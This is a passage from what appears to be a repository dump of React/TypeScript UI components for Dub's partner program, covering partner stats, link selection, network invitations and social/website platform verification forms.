</Tooltip>\n          )}\n        </div>\n        <div className=\"mt-4 flex min-w-0 items-start gap-2\">\n          <span\n            className=\"min-w-0 max-w-full text-lg font-semibold leading-tight text-neutral-900\"\n            style={{ wordBreak: \"break-word\", overflowWrap: \"anywhere\" }}\n          >\n            {partner.name}\n          </span>\n          {showPartnerStatus && (\n            <PartnerStatusBadgeWithTooltip partner={partner} />\n          )}\n        </div>\n        {partner.email && (\n          <div className=\"mt-0.5 flex items-center gap-1\">\n            <span className=\"text-sm text-neutral-500\">{partner.email}</span>\n            <CopyButton\n              value={partner.email}\n              variant=\"neutral\"\n              className=\"p-1 [&>*]:h-3 [&>*]:w-3\"\n              successMessage=\"Copied email to clipboard!\"\n            />\n          </div>\n        )}\n      </div>\n      <div>{children}</div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/partner-info-stats.tsx",
    "content": "import { EnrolledPartnerProps } from \"@/lib/types\";\nimport { ArrowUpRight2 } from \"@dub/ui\";\nimport { cn, currencyFormatter, nFormatter } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useParams } from \"next/navigation\";\n\nexport function PartnerInfoStats({\n  partner,\n  className,\n}: {\n  partner: EnrolledPartnerProps;\n  className?: string;\n}) {\n  const { slug } = useParams() as { slug: string };\n  return (\n    <div\n      className={cn(\n        \"xs:grid-cols-3 grid shrink-0 grid-cols-2 gap-px overflow-hidden rounded-lg border border-neutral-200 bg-neutral-200\",\n        className,\n      )}\n    >\n      {[\n        {\n          label: \"Clicks\",\n          value: Number.isNaN(partner.totalClicks)\n            ? \"-\"\n            : nFormatter(partner.totalClicks, { full: true }),\n          href: `/${slug}/events?event=clicks&partnerId=${partner.id}&interval=1y`,\n        },\n        {\n          label: \"Leads\",\n          value: Number.isNaN(partner.totalLeads)\n            ? \"-\"\n            : nFormatter(partner.totalLeads, { full: true }),\n          href: `/${slug}/events?event=leads&partnerId=${partner.id}&interval=1y`,\n        },\n        {\n          label: \"Conversions\",\n          value: Number.isNaN(partner.totalConversions)\n            ? \"-\"\n            : nFormatter(partner.totalConversions, { full: true }),\n          href: `/${slug}/events?event=sales&partnerId=${partner.id}&interval=1y`,\n        },\n        {\n          label: \"Revenue\",\n          value: Number.isNaN(partner.totalSaleAmount)\n            ? \"-\"\n            : currencyFormatter(partner.totalSaleAmount, {\n                trailingZeroDisplay: \"stripIfInteger\",\n              }),\n          href: `/${slug}/events?event=sales&partnerId=${partner.id}&interval=1y`,\n        },\n        {\n          label: \"Commissions\",\n          value: Number.isNaN(partner.totalCommissions)\n            ? \"-\"\n            : currencyFormatter(partner.totalCommissions),\n          href: `/${slug}/program/commissions?partnerId=${partner.id}`,\n        },\n        {\n          label: \"Net revenue\",\n          value: Number.isNaN(partner.netRevenue)\n            ? \"-\"\n            : currencyFormatter(partner.netRevenue),\n          href: `/${slug}/events?event=sales&partnerId=${partner.id}&interval=1y`,\n        },\n      ].map(({ label, value, href }) => (\n        <Link\n          key={label}\n          href={href}\n          target=\"_blank\"\n          className=\"group relative flex flex-col bg-neutral-50 p-3 transition-colors duration-150 hover:bg-neutral-100\"\n        >\n          <ArrowUpRight2 className=\"text-content-subtle absolute right-3 top-3 size-3.5 opacity-50 transition-opacity duration-150 group-hover:opacity-100\" />\n          <span className=\"text-xs text-neutral-500\">{label}</span>\n          <span className=\"text-base text-neutral-900\">{value}</span>\n        </Link>\n      ))}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/partner-link-selector.tsx",
    "content": "import useLink from \"@/lib/swr/use-link\";\nimport useLinks from \"@/lib/swr/use-links\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport { LinkProps } from \"@/lib/types\";\nimport { Combobox, LinkLogo, Tooltip } from \"@dub/ui\";\nimport { ArrowTurnRight2 } from \"@dub/ui/icons\";\nimport { cn, getApexDomain, linkConstructor } from \"@dub/utils\";\nimport { ReactNode, useMemo, useState } from \"react\";\nimport { useDebounce } from \"use-debounce\";\n\nconst getLinkOption = (link: LinkProps) => ({\n  value: link.id,\n  label: linkConstructor({ ...link, pretty: true }),\n  icon: (\n    <LinkLogo\n      apexDomain={getApexDomain(link.url)}\n      className=\"h-4 w-4 sm:h-4 sm:w-4\"\n    />\n  ),\n  meta: {\n    url: link.url,\n  },\n});\n\nexport function PartnerLinkSelector({\n  selectedLinkId,\n  setSelectedLinkId,\n  partnerId,\n  showDestinationUrl = true,\n  onCreate,\n  error,\n  optional = false,\n  disabledTooltip,\n}: {\n  selectedLinkId: string | null;\n  setSelectedLinkId: (id: string) => void;\n  partnerId?: string | null;\n  showDestinationUrl?: boolean;\n  onCreate?: (search: string) => Promise<boolean>;\n  error?: boolean;\n  optional?: boolean;\n  disabledTooltip?: string | ReactNode;\n}) {\n  const [search, setSearch] = useState(\"\");\n  const [debouncedSearch] = useDebounce(search, 500);\n  const { program } = useProgram();\n\n  const { links } = useLinks(\n    {\n      folderId: program?.defaultFolderId ?? undefined,\n      domain: program?.domain ?? undefined,\n      search: debouncedSearch,\n      ...(partnerId && { partnerId }),\n      includeDashboard: false,\n      includeWebhooks: false,\n      includeUser: false,\n    },\n    {\n      keepPreviousData: false,\n    },\n  );\n\n  const { link: selectedLink } = useLink(selectedLinkId ?? \"\");\n\n  const options = useMemo(\n    () => links?.map((link) => getLinkOption(link)),\n    [links],\n  );\n\n  const selectedOption = useMemo(() => {\n    if (!selectedLink) return null;\n    return getLinkOption(selectedLink);\n  }, [selectedLink]);\n\n  return (\n    <>\n      <Combobox\n        selected={selectedOption}\n        setSelected={(option) => {\n          if (option) setSelectedLinkId(option.value);\n        }}\n        options={options}\n        caret={true}\n        placeholder={\n          selectedLinkId && !selectedLink ? (\n            <div className=\"h-4 w-32 animate-pulse rounded bg-neutral-200\" />\n          ) : (\n            `Select${onCreate ? \" or create\" : \"\"} referral link${\n              optional ? \" (optional)\" : \"\"\n            }`\n          )\n        }\n        searchPlaceholder={onCreate ? \"Search or create link...\" : \"Search...\"}\n        matchTriggerWidth\n        onSearchChange={setSearch}\n        buttonProps={{\n          className: cn(\n            \"w-full justify-start border-neutral-300 px-3 shadow-sm\",\n            \"data-[state=open]:ring-1 data-[state=open]:ring-neutral-500 data-[state=open]:border-neutral-500\",\n            \"focus:ring-1 focus:ring-neutral-500 focus:border-neutral-500 transition-none\",\n            !selectedLinkId && \"text-neutral-400\",\n            error &&\n              \"border-red-500 focus:border-red-500 focus:ring-red-500 data-[state=open]:ring-red-500 data-[state=open]:border-red-500\",\n          ),\n          disabledTooltip,\n        }}\n        shouldFilter={false}\n        onCreate={onCreate}\n        createLabel={(search) =>\n          `Create \"${search.startsWith(program?.domain + \"/\") ? search : program?.domain + \"/\" + search}\"`\n        }\n      />\n      {selectedLink?.url && showDestinationUrl && (\n        <div className=\"ml-2 mt-2 flex items-center gap-1 text-xs text-neutral-500\">\n          <ArrowTurnRight2 className=\"size-3 shrink-0\" />\n          <span className=\"flex min-w-0 items-center gap-1 whitespace-nowrap\">\n            <span>Destination URL:</span>\n            <Tooltip\n              align=\"end\"\n              alignOffset={-10}\n              sideOffset={9}\n              delayDuration={300}\n              content={\n                <div className=\"line-clamp-4 max-w-[495px] overflow-hidden break-all p-2.5 text-xs text-neutral-600\">\n                  {selectedLink.url}\n                </div>\n              }\n            >\n              <a\n                href={selectedLink.url}\n                target=\"_blank\"\n                className=\"min-w-0 truncate underline-offset-2 hover:underline\"\n              >\n                {selectedLink.url}\n              </a>\n            </Tooltip>\n          </span>\n        </div>\n      )}\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/partner-network/conversion-score-tooltip.tsx",
    "content": "import {\n  PARTNER_CONVERSION_SCORES,\n  PARTNER_CONVERSION_SCORE_RATES,\n} from \"@/lib/zod/schemas/partner-network\";\nimport { DynamicTooltipWrapper } from \"@dub/ui\";\nimport { capitalize } from \"@dub/utils\";\nimport { PropsWithChildren } from \"react\";\nimport { ConversionScoreIcon } from \"../conversion-score-icon\";\n\nexport function ConversionScoreTooltip({\n  enabled = true,\n  children,\n}: PropsWithChildren<{ enabled?: boolean }>) {\n  return (\n    <DynamicTooltipWrapper\n      tooltipProps={\n        enabled\n          ? {\n              content: (\n                <div className=\"max-w-60 p-2.5 text-xs\">\n                  <div className=\"flex flex-col gap-2.5\">\n                    {PARTNER_CONVERSION_SCORES.map((score, idx) => (\n                      <div key={score} className=\"flex items-center gap-1.5\">\n                        <ConversionScoreIcon\n                          score={score}\n                          className=\"size-3.5 shrink-0\"\n                        />\n                        <span className=\"text-content-default font-semibold\">\n                          {capitalize(score)}{\" \"}\n                          <span className=\"text-content-subtle font-medium\">\n                            (\n                            {idx < PARTNER_CONVERSION_SCORES.length - 1 ? (\n                              <>\n                                {PARTNER_CONVERSION_SCORE_RATES[score] * 100}-\n                                {PARTNER_CONVERSION_SCORE_RATES[\n                                  PARTNER_CONVERSION_SCORES[idx + 1]\n                                ] * 100}\n                              </>\n                            ) : (\n                              <>\n                                &gt;\n                                {PARTNER_CONVERSION_SCORE_RATES[score] * 100}\n                              </>\n                            )}\n                            %)\n                          </span>\n                        </span>\n                      </div>\n                    ))}\n                  </div>\n                  <p className=\"text-content-subtle mt-4 font-medium\">\n                    This score is the average click → sale conversion rate\n                    across all programs the partner is enrolled in on Dub.\n                  </p>\n                </div>\n              ),\n              side: \"right\",\n              align: \"end\",\n            }\n          : undefined\n      }\n    >\n      {children}\n    </DynamicTooltipWrapper>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/partner-network/invites-usage.tsx",
    "content": "\"use client\";\n\nimport usePartnerNetworkInvitesUsage from \"@/lib/swr/use-partner-network-invites-usage\";\nimport { EnvelopeArrowRight, Tooltip } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\n\nexport function InvitesUsage() {\n  const { remaining } = usePartnerNetworkInvitesUsage();\n\n  return remaining === undefined ? null : (\n    <Tooltip\n      content={\n        <p className=\"max-w-xs p-2 text-center text-xs font-medium text-neutral-600\">\n          Invitation limits are reset at the start of your billing cycle. If you\n          need more invites,{\" \"}\n          <a\n            href=\"https://dub.co/contact/sales\"\n            target=\"_blank\"\n            rel=\"noopener noreferrer\"\n            className=\"underline\"\n          >\n            contact us\n          </a>\n          .\n        </p>\n      }\n      align=\"end\"\n    >\n      <div className=\"animate-fade-in flex cursor-default items-center gap-2\">\n        <EnvelopeArrowRight className=\"text-content-default size-4 shrink-0\" />\n        <span\n          className={cn(\n            \"text-content-emphasis text-sm font-medium\",\n            remaining === 0 && \"text-content-subtle\",\n          )}\n        >\n          <span\n            className={cn(remaining > 0 && remaining <= 5 && \"text-violet-600\")}\n          >\n            {remaining} <span className=\"hidden sm:inline\">invites</span>\n          </span>{\" \"}\n          remaining\n        </span>\n      </div>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/partner-network/network-partner-sheet.tsx",
    "content": "import { invitePartnerFromNetworkAction } from \"@/lib/actions/partners/invite-partner-from-network\";\nimport { updateDiscoveredPartnerAction } from \"@/lib/actions/partners/update-discovered-partner\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport usePartnerNetworkInvitesUsage from \"@/lib/swr/use-partner-network-invites-usage\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { NetworkPartnerProps } from \"@/lib/types\";\nimport { useConfirmModal } from \"@/ui/modals/confirm-modal\";\nimport { X } from \"@/ui/shared/icons\";\nimport {\n  Button,\n  ChevronLeft,\n  ChevronRight,\n  Msgs,\n  Sheet,\n  useKeyboardShortcut,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport Link from \"next/link\";\nimport { Dispatch, SetStateAction, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { PartnerAbout } from \"../partner-about\";\nimport { PartnerComments } from \"../partner-comments\";\nimport { PartnerInfoCards } from \"../partner-info-cards\";\nimport { PartnerSheetTabs } from \"../partner-sheet-tabs\";\nimport { InvitesUsage } from \"./invites-usage\";\n\ntype NetworkPartnerSheetProps = {\n  partner: NetworkPartnerProps;\n  onNext?: () => void;\n  onPrevious?: () => void;\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n};\n\nfunction NetworkPartnerSheetContent({\n  partner,\n  onPrevious,\n  onNext,\n  setIsOpen,\n}: NetworkPartnerSheetProps) {\n  const { slug: workspaceSlug } = useWorkspace();\n\n  const [currentTabId, setCurrentTabId] = useState<string>(\"about\");\n\n  const [selectedGroupId, setSelectedGroupId] = useState<string | null>(null);\n\n  // right arrow key onNext\n  useKeyboardShortcut(\n    \"ArrowRight\",\n    () => {\n      if (onNext) {\n        onNext();\n      }\n    },\n    { sheet: true },\n  );\n\n  // left arrow key onPrevious\n  useKeyboardShortcut(\n    \"ArrowLeft\",\n    () => {\n      if (onPrevious) {\n        onPrevious();\n      }\n    },\n    { sheet: true },\n  );\n\n  return (\n    <div className=\"flex size-full flex-col\">\n      <div className=\"flex h-16 shrink-0 items-center justify-between border-b border-neutral-200 px-6 py-4\">\n        <Sheet.Title className=\"text-lg font-semibold\">\n          Partner network\n        </Sheet.Title>\n        <div className=\"flex items-center gap-4\">\n          <Link\n            href={`/${workspaceSlug}/program/messages/${partner.id}`}\n            target=\"_blank\"\n          >\n            <Button\n              variant=\"secondary\"\n              text=\"Message\"\n              icon={<Msgs className=\"size-4 shrink-0\" />}\n              className=\"hidden h-9 rounded-lg px-4 sm:flex\"\n            />\n          </Link>\n          <div className=\"flex items-center\">\n            <Button\n              type=\"button\"\n              disabled={!onPrevious}\n              onClick={onPrevious}\n              variant=\"secondary\"\n              className=\"size-9 rounded-l-lg rounded-r-none p-0\"\n              icon={<ChevronLeft className=\"size-3.5\" />}\n            />\n            <Button\n              type=\"button\"\n              disabled={!onNext}\n              onClick={onNext}\n              variant=\"secondary\"\n              className=\"-ml-px size-9 rounded-l-none rounded-r-lg p-0\"\n              icon={<ChevronRight className=\"size-3.5\" />}\n            />\n          </div>\n          <Sheet.Close asChild>\n            <Button\n              variant=\"outline\"\n              icon={<X className=\"size-5\" />}\n              className=\"h-auto w-fit p-1\"\n            />\n          </Sheet.Close>\n        </div>\n      </div>\n\n      <div className=\"@3xl/sheet:grid-cols-[minmax(440px,1fr)_minmax(0,360px)] scrollbar-hide grid min-h-0 grow grid-cols-1 gap-x-6 gap-y-4 overflow-y-auto p-4 sm:p-6\">\n        <div className=\"@3xl/sheet:order-2\">\n          <PartnerInfoCards\n            type=\"network\"\n            partner={partner}\n            hideStatuses={[\"pending\"]}\n            selectedGroupId={selectedGroupId}\n            setSelectedGroupId={setSelectedGroupId}\n            showFraudIndicator={false}\n          />\n        </div>\n        <div className=\"@3xl/sheet:order-1\">\n          <div className=\"border-border-subtle overflow-hidden rounded-xl border bg-neutral-100\">\n            <PartnerSheetTabs\n              partnerId={partner.id}\n              currentTabId={currentTabId}\n              setCurrentTabId={setCurrentTabId}\n            />\n            <div className=\"border-border-subtle -mx-px -mb-px rounded-xl border bg-white p-4\">\n              {currentTabId === \"about\" && (\n                <div className=\"grid grid-cols-1 gap-5 text-sm text-neutral-600\">\n                  <PartnerAbout partner={partner} />\n                </div>\n              )}\n              {currentTabId === \"comments\" && (\n                <div>\n                  <h3 className=\"text-content-emphasis text-lg font-semibold\">\n                    Comments\n                  </h3>\n                  <PartnerComments partnerId={partner.id} />\n                </div>\n              )}\n            </div>\n          </div>\n        </div>\n      </div>\n\n      <div className=\"shrink-0 border-t border-neutral-200 p-5\">\n        <PartnerControls\n          key={partner.id} // Reset when navigating between partners to avoid memoized action callback issues\n          partner={partner}\n          groupId={selectedGroupId}\n          setIsOpen={setIsOpen}\n        />\n      </div>\n    </div>\n  );\n}\n\nexport function NetworkPartnerSheet({\n  isOpen,\n  nested,\n  ...rest\n}: NetworkPartnerSheetProps & {\n  isOpen: boolean;\n  nested?: boolean;\n}) {\n  const { queryParams } = useRouterStuff();\n  return (\n    <Sheet\n      open={isOpen}\n      onOpenChange={rest.setIsOpen}\n      onClose={() => queryParams({ del: \"partnerId\", scroll: false })}\n      nested={nested}\n      contentProps={{\n        // 540px - 1170px width based on viewport\n        className: \"md:w-[max(min(calc(100vw-334px),1170px),540px)]\",\n      }}\n    >\n      <NetworkPartnerSheetContent {...rest} />\n    </Sheet>\n  );\n}\n\nfunction PartnerControls({\n  partner,\n  setIsOpen,\n  groupId,\n}: {\n  partner: NetworkPartnerProps;\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n  groupId?: string | null;\n}) {\n  const { id: workspaceId } = useWorkspace();\n  const { program } = useProgram();\n\n  const { executeAsync, isPending } = useAction(\n    invitePartnerFromNetworkAction,\n    {\n      onSuccess: async () => {\n        toast.success(\"Invitation sent to partner!\");\n        setIsOpen(false);\n        mutatePrefix(`/api/network/partners`);\n      },\n      onError({ error }) {\n        toast.error(error.serverError);\n      },\n    },\n  );\n\n  const { setShowConfirmModal, confirmModal } = useConfirmModal({\n    title: \"Invite Partner\",\n    description:\n      \"Are you sure you want to invite this partner to your program?\",\n    confirmText: \"Invite\",\n    confirmShortcut: \"s\",\n    confirmShortcutOptions: { sheet: true, modal: true },\n    onConfirm: async () => {\n      if (!program || !workspaceId) return;\n\n      await executeAsync({\n        workspaceId: workspaceId,\n        partnerId: partner.id,\n        groupId,\n      });\n    },\n  });\n\n  const { remaining: remainingInvites } = usePartnerNetworkInvitesUsage();\n\n  const disabled = remainingInvites === 0;\n\n  useKeyboardShortcut(\"s\", () => setShowConfirmModal(true), {\n    sheet: true,\n    enabled: !disabled,\n  });\n\n  return (\n    <>\n      {confirmModal}\n      <div className=\"flex items-center justify-end gap-2\">\n        <div className=\"mr-2\">\n          <InvitesUsage />\n        </div>\n        <div className=\"flex-shrink-0\">\n          <PartnerIgnoreButton partner={partner} setIsOpen={setIsOpen} />\n        </div>\n        <Button\n          type=\"button\"\n          variant=\"primary\"\n          text=\"Send invite\"\n          disabled={disabled}\n          shortcut={disabled ? undefined : \"S\"}\n          loading={isPending}\n          onClick={() => setShowConfirmModal(true)}\n          className=\"w-fit shrink-0\"\n        />\n      </div>\n    </>\n  );\n}\n\nfunction PartnerIgnoreButton({\n  partner,\n  setIsOpen,\n}: {\n  partner: NetworkPartnerProps;\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n}) {\n  const { id: workspaceId } = useWorkspace();\n\n  const { executeAsync: updateDiscoveredPartner, isPending } = useAction(\n    updateDiscoveredPartnerAction,\n    {\n      onSuccess: () => {\n        setIsOpen(false);\n        toast.success(\"Hid partner successfully\");\n        mutatePrefix(\"/api/network/partners\");\n      },\n      onError({ error }) {\n        toast.error(error.serverError || \"Failed to hide partner.\");\n      },\n    },\n  );\n\n  const { setShowConfirmModal, confirmModal } = useConfirmModal({\n    title: `Mark \"not a fit\"`,\n    description: \"Are you sure you want to hide this partner?\",\n    confirmText: \"Confirm\",\n    confirmShortcut: \"n\",\n    confirmShortcutOptions: { sheet: true, modal: true },\n    onConfirm: async () => {\n      await updateDiscoveredPartner({\n        workspaceId: workspaceId!,\n        partnerId: partner.id,\n        ignored: true,\n      });\n    },\n  });\n\n  useKeyboardShortcut(\"n\", () => setShowConfirmModal(true), { sheet: true });\n\n  return (\n    <>\n      {confirmModal}\n      <Button\n        type=\"button\"\n        variant=\"secondary\"\n        text={isPending ? \"\" : \"Not a fit\"}\n        loading={isPending}\n        shortcut=\"N\"\n        onClick={() => {\n          setShowConfirmModal(true);\n        }}\n        className=\"px-4\"\n      />\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/partner-platform-card.tsx",
    "content": "import {\n  ArrowUpRight,\n  BadgeCheck2Fill,\n  Button,\n  Icon,\n  Tooltip,\n  Trash,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { PropsWithChildren } from \"react\";\n\nexport function PartnerPlatformCard({\n  icon: Icon,\n  prefix,\n  value,\n  verified,\n  info,\n  href,\n  onRemove,\n}: {\n  icon: Icon;\n  prefix?: string;\n  value: string;\n  verified?: boolean;\n  info?: string[];\n  href?: string;\n  onRemove?: () => void;\n}) {\n  return (\n    <Container\n      href={href}\n      className={cn(\n        \"border-subtle group flex items-center justify-between gap-3 rounded-lg border bg-white p-3\",\n        href && \"transition-colors hover:bg-neutral-50 active:bg-neutral-100\",\n      )}\n    >\n      <div className=\"flex min-w-0 items-center gap-3\">\n        <div className=\"border-subtle flex size-8 shrink-0 items-center justify-center rounded-full border\">\n          <Icon className=\"size-4\" />\n        </div>\n        <div className=\"flex min-w-0 flex-col text-xs\">\n          <div className=\"flex items-center gap-1\">\n            <span className=\"text-content-emphasis block min-w-0 truncate font-semibold\">\n              {prefix}\n              {value}\n            </span>\n            {verified && (\n              <Tooltip content=\"Verified\" disableHoverableContent>\n                <div className=\"shrink-0\">\n                  <BadgeCheck2Fill className=\"size-3.5 text-green-600\" />\n                </div>\n              </Tooltip>\n            )}\n          </div>\n          {info && info.length > 0 && (\n            <div className=\"text-content-subtle min-w-0 truncate font-medium\">\n              {info.join(\" • \")}\n            </div>\n          )}\n        </div>\n      </div>\n      {href ? (\n        <ArrowUpRight className=\"text-content-subtle mr-1 size-4 -translate-x-0.5 translate-y-0.5 opacity-0 transition-[opacity,transform] group-hover:translate-x-0 group-hover:translate-y-0 group-hover:opacity-100\" />\n      ) : (\n        onRemove && (\n          <div className=\"flex items-center gap-2\">\n            <Button\n              variant=\"outline\"\n              icon={<Trash className=\"size-4\" />}\n              className=\"text-content-subtle hover:text-content-default size-8 p-0\"\n              onClick={onRemove}\n            />\n          </div>\n        )\n      )}\n    </Container>\n  );\n}\n\nconst Container = ({\n  href,\n  children,\n  ...rest\n}: PropsWithChildren<{ href?: string; className?: string }>) => {\n  return href ? (\n    <a href={href} target=\"_blank\" rel=\"noopener noreferrer\" {...rest}>\n      {children}\n    </a>\n  ) : (\n    <div {...rest}>{children}</div>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/partners/partner-platform-summary.tsx",
    "content": "import { PARTNER_PLATFORM_FIELDS } from \"@/lib/partners/partner-platforms\";\nimport { PartnerPlatformProps } from \"@/lib/types\";\nimport { cn } from \"@dub/utils\";\nimport { Fragment } from \"react\";\nimport { PartnerPlatformCard } from \"./partner-platform-card\";\n\nexport function PartnerPlatformSummary({\n  platforms,\n  showLabels = true,\n  className,\n  emptyClassName,\n}: {\n  platforms: PartnerPlatformProps[] | undefined;\n  showLabels?: boolean;\n  className?: string;\n  emptyClassName?: string;\n}) {\n  if (!platforms || platforms.length === 0) {\n    return (\n      <div\n        className={cn(\n          \"text-sm italic text-neutral-400\",\n          className,\n          emptyClassName,\n        )}\n      >\n        No platforms connected\n      </div>\n    );\n  }\n\n  const fieldData = PARTNER_PLATFORM_FIELDS.map((field) => ({\n    label: field.label,\n    icon: field.icon,\n    ...field.data(platforms),\n  })).filter((field) => field.value && field.href);\n\n  return (\n    <div\n      className={cn(\n        \"grid items-center gap-x-4 gap-y-5 text-sm md:gap-x-16\",\n        showLabels ? \"grid-cols-[max-content_minmax(0,1fr)]\" : \"grid-cols-1\",\n        className,\n      )}\n    >\n      {fieldData.map(({ label, icon: Icon, value, verified, href, info }) => {\n        return (\n          <Fragment key={label}>\n            {showLabels && (\n              <span className=\"text-content-default font-medium\">{label}</span>\n            )}\n            <div>\n              <PartnerPlatformCard\n                icon={Icon}\n                value={value ?? \"\"}\n                verified={verified}\n                info={info}\n                href={href ?? undefined}\n              />\n            </div>\n          </Fragment>\n        );\n      })}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/partner-platforms-form.tsx",
    "content": "\"use client\";\n\nimport { parseActionError } from \"@/lib/actions/parse-action-errors\";\nimport { startPartnerPlatformVerificationAction } from \"@/lib/actions/partners/start-partner-platform-verification\";\nimport { updatePartnerPlatformsAction } from \"@/lib/actions/partners/update-partner-platforms\";\nimport { hasPermission } from \"@/lib/auth/partner-users/partner-user-permissions\";\nimport { sanitizeSocialHandle, sanitizeWebsite } from \"@/lib/social-utils\";\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport { PartnerPlatformProps, PartnerProps } from \"@/lib/types\";\nimport { parseUrlSchemaAllowEmpty } from \"@/lib/zod/schemas/utils\";\nimport { DomainVerificationModal } from \"@/ui/modals/domain-verification-modal\";\nimport { SocialVerificationByCodeModal } from \"@/ui/modals/social-verification-by-code-modal\";\nimport { PlatformType } from \"@dub/prisma/client\";\nimport {\n  AnimatedSizeContainer,\n  Button,\n  CircleCheckFill,\n  Globe,\n  Icon,\n  Instagram,\n  LinkedIn,\n  TikTok,\n  Twitter,\n  YouTube,\n} from \"@dub/ui\";\nimport { getPrettyUrl, nFormatter } from \"@dub/utils\";\nimport { cn } from \"@dub/utils/src/functions\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { forwardRef, ReactNode, useCallback, useMemo, useState } from \"react\";\nimport {\n  FormProvider,\n  useForm,\n  useFormContext,\n  useWatch,\n} from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { mutate } from \"swr\";\nimport * as z from \"zod/v4\";\nimport { PartnerPlatformCard } from \"./partner-platform-card\";\n\nconst onlinePresenceSchema = z.object({\n  website: parseUrlSchemaAllowEmpty().nullish(),\n  youtube: z.string().nullish(),\n  twitter: z.string().nullish(),\n  linkedin: z.string().nullish(),\n  instagram: z.string().nullish(),\n  tiktok: z.string().nullish(),\n});\n\ntype PartnerPlatformsFormData = z.infer<typeof onlinePresenceSchema>;\n\ninterface PartnerPlatformsFormProps {\n  variant?: \"onboarding\" | \"settings\";\n  partner?: Pick<PartnerProps, \"platforms\"> | null;\n  onSubmitSuccessful?: () => void;\n}\n\n// Helper function to get platform data from platforms array\nfunction getPlatformData(\n  platforms: PartnerPlatformProps[] | undefined,\n  platform: PlatformType,\n): PartnerPlatformProps | undefined {\n  return platforms?.find((p) => p.type === platform);\n}\n\n// Helper function to get identifier from platforms array\nfunction getPlatformIdentifier(\n  partner: PartnerPlatformsFormProps[\"partner\"],\n  platform: PlatformType,\n): string | undefined {\n  return getPlatformData(partner?.platforms, platform)?.identifier;\n}\n\n/**\n * Separate optional hook to allow for form management outside of the main component.\n * If used, the returned form object should be passed to the main component as a prop.\n */\nexport function usePartnerPlatformsForm({\n  partner,\n}: Pick<PartnerPlatformsFormProps, \"partner\">) {\n  return useForm<PartnerPlatformsFormData>({\n    defaultValues: {\n      website: getPlatformIdentifier(partner, \"website\")\n        ? getPrettyUrl(getPlatformIdentifier(partner, \"website\")!)\n        : undefined,\n      youtube: getPlatformIdentifier(partner, \"youtube\") || undefined,\n      twitter: getPlatformIdentifier(partner, \"twitter\") || undefined,\n      linkedin: getPlatformIdentifier(partner, \"linkedin\") || undefined,\n      instagram: getPlatformIdentifier(partner, \"instagram\") || undefined,\n      tiktok: getPlatformIdentifier(partner, \"tiktok\") || undefined,\n    },\n  });\n}\n\ntype PartnerPlatformsFormWithFormProps = PartnerPlatformsFormProps & {\n  form?: ReturnType<typeof usePartnerPlatformsForm>;\n};\n\nexport const PartnerPlatformsForm = forwardRef<\n  HTMLFormElement,\n  PartnerPlatformsFormWithFormProps\n>(\n  (\n    {\n      form: formProp,\n      variant = \"onboarding\",\n      partner,\n      onSubmitSuccessful,\n    }: PartnerPlatformsFormWithFormProps,\n    ref,\n  ) => {\n    const defaultForm = usePartnerPlatformsForm({ partner });\n    const form = formProp ?? defaultForm;\n    const { partner: currentPartner } = usePartnerProfile();\n\n    const disabled = currentPartner\n      ? !hasPermission(currentPartner.role, \"partner_profile.update\")\n      : true;\n\n    const {\n      register,\n      getValues,\n      handleSubmit,\n      reset,\n      setValue,\n      formState: { errors, isSubmitting, isSubmitSuccessful },\n    } = form;\n\n    const { executeAsync } = useAction(updatePartnerPlatformsAction, {\n      onSuccess: async () => {\n        await mutate(\"/api/partner-profile\");\n      },\n      onError: ({ error }) => {\n        toast.error(\n          parseActionError(error, \"Failed to update partner platforms\"),\n        );\n\n        reset(form.getValues(), { keepErrors: true });\n      },\n    });\n\n    const [domainVerificationData, setDomainVerificationData] = useState<{\n      domain: string;\n      txtRecord: string;\n    } | null>(null);\n\n    const [socialVerificationData, setSocialVerificationData] = useState<{\n      platform: PlatformType;\n      handle: string;\n      verificationCode: string;\n    } | null>(null);\n\n    const {\n      executeAsync: startSocialVerification,\n      isPending: isStartingSocialVerification,\n    } = useAction(startPartnerPlatformVerificationAction, {\n      onSuccess: async ({ input, data }) => {\n        if (!input || !data) {\n          return;\n        }\n\n        // For website: auto-verified when email domain matches website domain\n        if (data.type === \"auto_verified\") {\n          toast.success(\n            \"Website automatically verified because your email domain matches the website domain.\",\n          );\n          await mutate(\"/api/partner-profile\");\n          return;\n        }\n\n        // For website verification (TXT record)\n        if (data.type === \"txt_record\") {\n          const websiteUrl = input.handle.startsWith(\"http\")\n            ? input.handle\n            : `https://${input.handle}`;\n\n          setDomainVerificationData({\n            domain: new URL(websiteUrl).hostname,\n            txtRecord: data.websiteTxtRecord,\n          });\n        }\n\n        // For OAuth flow\n        else if (data.type === \"oauth\") {\n          window.location.href = data.oauthUrl;\n        }\n\n        // For verification code flow\n        else if (data.type === \"verification_code\") {\n          setSocialVerificationData({\n            platform: input.platform,\n            handle: input.handle,\n            verificationCode: data.verificationCode,\n          });\n        }\n      },\n      onError: ({ error }) => {\n        toast.error(parseActionError(error, \"Failed to start verification.\"));\n      },\n    });\n\n    const onPasteWebsite = useCallback(\n      (e: React.ClipboardEvent<HTMLInputElement>) => {\n        const text = e.clipboardData.getData(\"text/plain\");\n        const sanitized = sanitizeWebsite(text);\n\n        if (sanitized) {\n          setValue(\"website\", sanitized);\n          e.preventDefault();\n        }\n      },\n      